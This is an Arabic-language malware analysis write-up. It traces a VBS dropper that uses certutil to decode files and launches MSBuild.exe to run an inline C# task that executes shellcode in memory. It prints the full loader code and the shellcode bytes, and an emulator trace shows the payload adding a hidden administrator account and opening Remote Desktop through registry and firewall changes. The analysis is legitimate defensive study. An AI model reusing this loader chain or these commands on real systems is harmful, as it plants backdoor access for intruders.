malware analysis #1

و تقدر تفهم وش يسوي shellcode بسم الله اليوم بشرح كيف تفحص البرنامج الضار

الحين نبدأ بتحليل البرنامج الضار

تحميل الملف password:infected نفك الضغط بعدها تطلع لنا 3 ملفات one.crt,two.crt,crtupdate.vbs

crtupdate.vbs:

```
Dim WshShell, oExec Set WshShell = CreateObject("WScript.Shell") Set oExec = WshShell.Exec("certutil -decode one.crt C:\Users\Public\Documents\one.vbs") WScript.Sleep 1000 Set oExec = WshShell.Exec("certutil -decode two.crt C:\Users\Public\Documents\xml.xml") WScript.Sleep 1000 Set oExec = WshShell.Exec("cmd.exe /c C:\Users\Public\Documents\one.vbs")
```

البرنامج بيفك التشفير عن الملفين الثانيين و بيشغل one.vbs

انا مشغلة في فيرشوال ماشين ف عادي اني اشغل البرنامج ماراح يضرني او ممكن تحط كومنت عند جزئية التشغيل اللي هو السطر الاخير, بعد ما اشغله البرنامج بيفك التشفير عندهم و بيحط الملفات بهذي المسارات

```
C:\Users\Public\Documents\one.vbs C:\Users\Public\Documents\xml.xml
```

الحين نشوف ملف one.vbs و نشوف الكود

```
getUpdate()
Sub getUpdate()
a = "CvVv:vVv\vVvWvVvivVvnvVvdvVvovVvwvVvsvVv\vVvMvVvivVvcvVvrvVvovVvsvVvovVvfvVvtvVv.vVvNvVvEvVvTvVv\vVvFvVvrvVvavVvmvVvevVvwvVvovVvVv4vVv.vVv0vVv.vVv3vVv0vVv3vVv1vVv9vVv\vVvMvVvSvVvBvVvuvVvivVvlvVvdvVv.vVvevVvxvVvevVv"
aa = "CvVv:vVv\vVvuvVvsvVvevVvrvVvsvVv\vVvPvVvuvVvbvVvlvVvivVvcvVv\vVvDvVvovVvcvVvuvVvmvVvevVvnvVvtvVvsvVv\vVvxvVvmvVvlvVv.vVvxvVvmvVv"
aaa = update(a, "vVv")
aaaa = update(aa, "vVv")
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute aaa, aaaa, Null, "runas", 0
End Sub
Function update(ccj, jjc)
Dim str
str = Replace(ccj, jjc, "")
update = str
End Function
```

خلونا نشوف الكود وش يسوي فيه فنكشن اسمها update وظيفتها تسوي replace ل vVv و ولا شي عندي حلين يا اشغلة و اطبع المتغيرات او اني اسوي بنفسي و بسويها بنفسي اسهل ببدل vVv ب ولاشي

```
getUpdate()
Sub getUpdate()
a = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
aa = "C:\users\Public\Documents\xml.xml"
aaa = update(a, "")
aaaa = update(aa, "")
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute aaa, aaaa, Null, "runas", 0
End Sub
Function update(ccj, jjc)
Dim str
str = Replace(ccj, jjc, "")
update = str
End Function
```

هذا بعد ما ضبطناه و طلعت لنا مسارات و الواضح انه بيشغل MSBuild.exe و بيحط xml.xml

طيب خلونا نشوف وش فيه هناك

```
public override bool Execute()
{
  byte[] slcd = new byte[] {0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0
  ,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0
  ,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0
  ,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0
  ,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0
  ,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x6d,0x64,0x2e,0x65,0x78,0x65,0x20,0x2f,0x6b,0x20,0x22,0x6e,0x65,0x74,0x20,0x6c,0x6f,0x63,0x61,0x6c,0
  ,0x22,0x52,0x65,0x6d,0x6f,0x74,0x65,0x20,0x44,0x65,0x73,0x6b,0x74,0x6f,0x70,0x20,0x55,0x73,0x65,0x72,0x73,0x22,0x20,0x2f,0x61,0x64,0x64,0x20,0x26,0x20,0
  ,0x65,0x72,0x20,0x2f,0x61,0x64,0x64,0x20,0x77,0x64,0x73,0x61,0x64,0x6d,0x69,0x6e,0x20,0x71,0x71,0x71,0x71,0x31,0x31,0x31,0x31,0x20,0x26,0x20,0x6e,0x65,0
  ,0x6c,0x67,0x72,0x6f,0x75,0x70,0x20,0x61,0x64,0x6d,0x69,0x6e,0x69,0x73,0x74,0x72,0x61,0x74,0x6f,0x72,0x73,0x20,0x77,0x64,0x73,0x61,0x64,0x6d,0x69,0x6e,0
  ,0x26,0x20,0x6e,0x65,0x74,0x20,0x6c,0x6f,0x63,0x61,0x6c,0x67,0x72,0x6f,0x75,0x70,0x20,0x22,0x52,0x65,0x6d,0x6f,0x74,0x65,0x20,0x44,0x65,0x73,0x6b,0x74,0
  ,0x72,0x73,0x22,0x20,0x77,0x64,0x73,0x61,0x64,0x6d,0x69,0x6e,0x20,0x2f,0x61,0x64,0x64,0x20,0x26,0x20,0x72,0x65,0x67,0x20,0x61,0x64,0x64,0x20,0x22,0x48,0
  ,0x43,0x41,0x4c,0x5f,0x4d,0x41,0x43,0x48,0x49,0x4e,0x45,0x5c,0x53,0x59,0x53,0x54,0x45,0x4d,0x5c,0x43,0x75,0x72,0x72,0x65,0x6e,0x74,0x43,0x6f,0x6e,0x74,0
  ,0x5c,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x5c,0x54,0x65,0x72,0x6d,0x69,0x6e,0x61,0x6c,0x20,0x53,0x65,0x72,0x76,0x65,0x72,0x22,0x20,0x2f,0x76,0x20,0x66,0
  ,0x43,0x6f,0x6e,0x6e,0x65,0x63,0x74,0x69,0x6f,0x6e,0x73,0x20,0x2f,0x74,0x20,0x52,0x45,0x47,0x5f,0x44,0x57,0x4f,0x52,0x44,0x20,0x2f,0x64,0x20,0x30,0x20,0
  ,0x65,0x74,0x73,0x68,0x20,0x61,0x64,0x76,0x66,0x69,0x72,0x65,0x77,0x61,0x6c,0x6c,0x20,0x66,0x69,0x72,0x65,0x77,0x61,0x6c,0x6c,0x20,0x61,0x64,0x64,0x20,0
  ,0x61,0x6d,0x65,0x3d,0x22,0x4f,0x70,0x65,0x6e,0x20,0x52,0x65,0x6d,0x6f,0x74,0x65,0x20,0x44,0x65,0x73,0x6b,0x74,0x6f,0x70,0x22,0x20,0x70,0x72,0x6f,0x74,0
  ,0x43,0x50,0x20,0x64,0x69,0x72,0x3d,0x69,0x6e,0x20,0x6c,0x6f,0x63,0x61,0x6c,0x70,0x6f,0x72,0x74,0x3d,0x33,0x33,0x38,0x39,0x20,0x61,0x63,0x74,0x69,0x6f,0
  ,0x77,0x22,0x0};

    UInt32 funcAddr = VirtualAlloc(0, (UInt32)slcd.Length,
  MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(slcd, 0, (IntPtr)(funcAddr), slcd.Length);
    IntPtr hThread = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr pinfo = IntPtr.Zero;
    hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
    WaitForSingleObject(hThread, 0xFFFFFFFF);
    return true;
}
```

هنا فيه كود C# و فكرة البرنامج يشغل الشل كود

فحص الشل كود

باخذ الشل كود من الملف و نفحصة الحين عشان نفهم وش يسوي

بعد ما شلنا الفاصلات و x0 لأننا ما نحتاجهم

`fce8820000006089e531c0648b503.....`

الحين نحفظة في ملف txt مثلا و نشغل اداة scdbg عشان نقدر نعرف وش قاعد يسوي الشل كود

```
λ scdbg -f bytes.bin
Loaded 4c4 bytes from file bytes.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

401099  WinExec(cmd.exe /k "net localgroup "Remote Desktop Users" /add & net user /add wdsadmin qqqq1111 & net localgroup administrators wdsadmin /ad
ocalgroup "Remote Desktop Users" wdsadmin /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
ORD /d 0 /f & netsh advfirewall firewall add rule name="Open Remote Desktop" protocol=TCP dir=in localport=3389 action=allow")
4010a5  GetVersion()
```

و هذا هو الشل كود و زي ماتشوفون بيضيف يوزر wdsadmin و بيفتح rdp

الملخص

اكتشفنا ان ملف vbs بيفك ملفين متشفرة واحد ملف vbs اللي بيشغل البرنامج من MSBuild.exe و الثاني اللي فيه المحتوى و شفنا المحتوى حقه و واضح انه بيشغل الشل كود في الميموري و بعدها فحصنا الشل كود و قدرنا نعرف وش كان يسوي البرنامج
ياليت التحليل اعجبكم و اذا فيه اي خطأ اعتذر و ياليت تنبهوني عشان اعدلها